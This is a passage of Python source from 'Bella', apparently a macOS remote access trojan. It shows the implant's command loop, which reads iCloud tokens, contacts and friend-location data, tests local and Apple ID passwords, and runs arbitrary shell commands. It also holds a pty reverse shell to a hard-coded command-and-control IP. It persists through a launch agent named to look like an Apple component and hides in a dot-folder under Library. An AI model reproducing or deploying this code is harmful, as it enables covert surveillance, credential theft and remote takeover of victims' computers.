2099 send_msg("%s%s\n" % (red_minus, e), True)
2100 except OSError, e:
2101 send_msg("%s%s\n" % (red_minus, e), True)
2102
2103 elif data == "iCloud_query":
2104 (error, errorMessage, dsid, token) = main_iCloud_helper()
2105 if error:
2106 send_msg(errorMessage, True)
2107 else:
2108 iCloud_storage_helper(dsid, token)
2109
2110 elif data == "iCloud_FMF":
2111 (error, errorMessage, dsid, token) = main_iCloud_helper()
2112 if error:
2113 send_msg(errorMessage, True)
2114 else:
2115 cardData = get_card_data(dsid, token)
2116 heard_it_from_a_friend_who(dsid, token, cardData)
2117 send_msg('', True)
2118
2119 elif data == 'iCloud_contacts':
2120 (error, errorMessage, dsid, token) = main_iCloud_helper()
2121 if error:
2122 send_msg(errorMessage, True)
2123 else:
2124 cardData = get_card_data(dsid, token)
2125 for vcard in cardData:
2126 send_msg("\033[1m%s\033[0m\n" % vcard[0][0], False)
2127 for numbers in vcard[1]:
2128 send_msg("[\033[94m%s\033[0m]\n" % numbers, False)
2129 for emails in vcard[2]:
2130 send_msg("[\033[93m%s\033[0m]\n" % emails, False)
2131 localToken = tokenRead()
2132 if localToken != False:
2133 send_msg('\033[1mFound %s iCloud Contacts for %s!\033[0m\n' % (len(cardData), localToken.split("\n")[0]), True)
2134 else:
2135 send_msg('', True)
2136
2137 elif data == '3C336E68854':
2138 time.sleep(2)
2139 cmd = 'python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\'/bin/bash\')" ' + host + ' 3818'
2140 x = subprocess.Popen(cmd, shell=True)
2141 print x.pid
2142 send_msg('', True)
2143
2144 elif data.startswith('vnc_start'):
2145 vnc_port = data.split(':::')[1]
2146 time.sleep(3)
2147 vnc_start(vnc_port)
2148
2149 elif data == 'removeserver_yes':
2150 removeServer()
2151
2152 elif data == 'shutdownserver_yes':
2153 send_msg("Server will shutdown in 3 seconds.\n", True)
2154 subprocess_cleanup()
2155 os.system("sleep 3; launchctl remove %s" % launch_agent_name)
2156 #we shouldnt have to kill iTunes, but if there is a problem with launchctl ..
2157
2158 elif data == 'get_client_info':
2159 client_name = readDB('client_name')
2160 if client_name == False:
2161 output = check_output('scutil --get LocalHostName | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"')
2162 else:
2163 output = check_output('echo "%s" | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"' % client_name)
2164 if not output[0]:
2165 send_msg('Error-MB-Pro -> Error', True)
2166 continue
2167 send_msg(output[1], True)
2168
2169 elif data == 'browseDB':
2170 browseDB()
2171
2172 elif data.startswith("editDB"):
2173 try:
2174 (param, value) = data[7:].split(' ')
2175 editDB(param,value)
2176 except ValueError:
2177 send_msg('%s Usage: %s editDB parameter new-value %s\n' % (red_minus, red, endANSI), True)
2178
2179 elif data.startswith("submit_local_pass"):
2180 testpass = data.split(":::")[1]
2181 if not check_local_pass(cur_GUI_user(),testpass):
2182 send_msg("%sPassword [%s] incorrect for %s.\n" % (red_minus,testpass,cur_GUI_user()), True)
2183
2184 elif data.startswith("submit_iCloud_pass"):
2185 (aID,testpass) = data.split(":::")[1].split(":")
2186 check_apple_pass(aID,testpass)
2187
2188
2189 else:
2190 try:
2191 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
2192 done = False
2193 while proc.poll() == None:
2194 bella_connection.settimeout(0.0) #set socket to non-blocking (dont wait for data)
2195 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
2196 if recv_msg(bella_connection) == 'sigint9kill':
2197 sys.stdout.flush()
2198 proc.terminate()
2199 send_msg('terminated', True) #send back confirmation along with STDERR
2200 done = True
2201 bella_connection.settimeout(None)
2202 break
2203 except socket.error as e: #no message, business as usual
2204 pass
2205 bella_connection.settimeout(None)
2206 out = select.select([proc.stdout.fileno()], [], [], 5)[0]
2207 if out:
2208 line = proc.stdout.readline()
2209 if line != "":
2210 send_msg(line, False)
2211 else:
2212 #at this point we are done with the loop, can get / send stderr
2213 send_msg(line + proc.stderr.read(), True)
2214 done = True
2215 break
2216 else:
2217 send_msg("%s[%s] is an interactive command.\n%sBella does not support interactive commands.\n%sUse 'interactive_shell' to perform this task.\n" % (blue_star, data, yellow_star, blue_star), True)
2218 sys.stdout.flush()
2219 #proc.terminate()
2220 done = True
2221 break
2222 if not done:
2223 send_msg(proc.stdout.read() + proc.stderr.read(), True)
2224
2225 except socket.error, e:
2226 if e[0] == 32:
2227 print "Listener disconnected, broken pipe."
2228 pass
2229 except Exception as e:
2230 print e
2231 send_msg(str(e), True)
2232
2233 except socket.error, e:
2234 traceback.print_exc()
2235 subprocess_cleanup()
2236 print repr(e)
2237 if e[0] == 54:
2238 print "Listener disconnected, connection reset"
2239 pass
2240 break
2241
2242 except Exception:
2243 #any error here will be unrelated to socket malfunction.
2244 bella_error = traceback.format_exc()
2245 print bella_error
2246 send_msg('%sMalfunction:\n```\n%s%s%s\n```\n' % (red_minus, red, bella_error, endANSI), True) #send error to CC, then continue
2247 continue
2248 try:
2249 bella_connection.close()
2250 except:
2251 pass
2252
2253##### Below variables are global scopes that are accessed by most of the methods in Bella. Should make a class structure #####
2254
2255violet = '\033[95m'
2256blue = '\033[94m'
2257light_blue = '\033[34m'
2258green = '\033[92m'
2259dark_green = '\033[32m'
2260yellow = '\033[93m'
2261red = '\033[31m'
2262endANSI = '\033[0m'
2263bold = '\033[1m'
2264underline = '\033[4m'
2265red_minus = '\033[31m[-] %s' % endANSI
2266greenPlus = '\033[92m[+] %s' % endANSI
2267blue_star = '\033[94m[*] %s' % endANSI
2268yellow_star = '\033[93m[*] %s' % endANSI
2269bella_error = ''
2270cryptKey = 'edb0d31838fd883d3f5939d2ecb7e28c'
2271try:
2272 computer_name = subprocess.check_output('scutil --get LocalHostName', shell=True).replace('\n', '')
2273except:
2274 computer_name = platform.node()
2275
2276if os.getuid() == 0:
2277 bella_user = cur_GUI_user()
2278 bella_UID = pwd.getpwnam(bella_user).pw_uid
2279else:
2280 bella_user = getpass.getuser()
2281 bella_UID = pwd.getpwnam(bella_user).pw_uid
2282
2283bellaPID = os.getpid()
2284ROOT_SHELL_PATH = '/usr/local/roots' #try not to change this, it causes permissions errors.
2285launch_agent_name = 'com.apple.Bella'
2286bella_folder = 'Containers/.bella'
2287if os.getuid() == 0:
2288 home_path = ''
2289else:
2290 home_path = os.path.expanduser('~')
2291
2292if '/'.join(os.path.abspath(__file__).split('/')[:-1]).lower() != ('%s/Library/%s' % (home_path, bella_folder)).lower(): #then set up and load agents, etc
2293 print '[%s], [%s]' % ('/'.join(os.path.abspath(__file__).split('/')[:-1]).lower(), ('%s/Library/%s' % (home_path, bella_folder)).lower())
2294 print 'Bella is not in the proper folder. Resetting'
2295 create_bella_helpers(launch_agent_name, bella_folder, home_path)
2296
2297helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
2298payload_list = []
2299temp_file_list = []
2300host = '192.154.100.50' #Command and Control IP (listener will run on)
2301port = 443 #What port Bella will operate over
2302bella_version = '1.10'
2303
2304#### End global variables ####
2305if __name__ == '__main__':
2306 bella()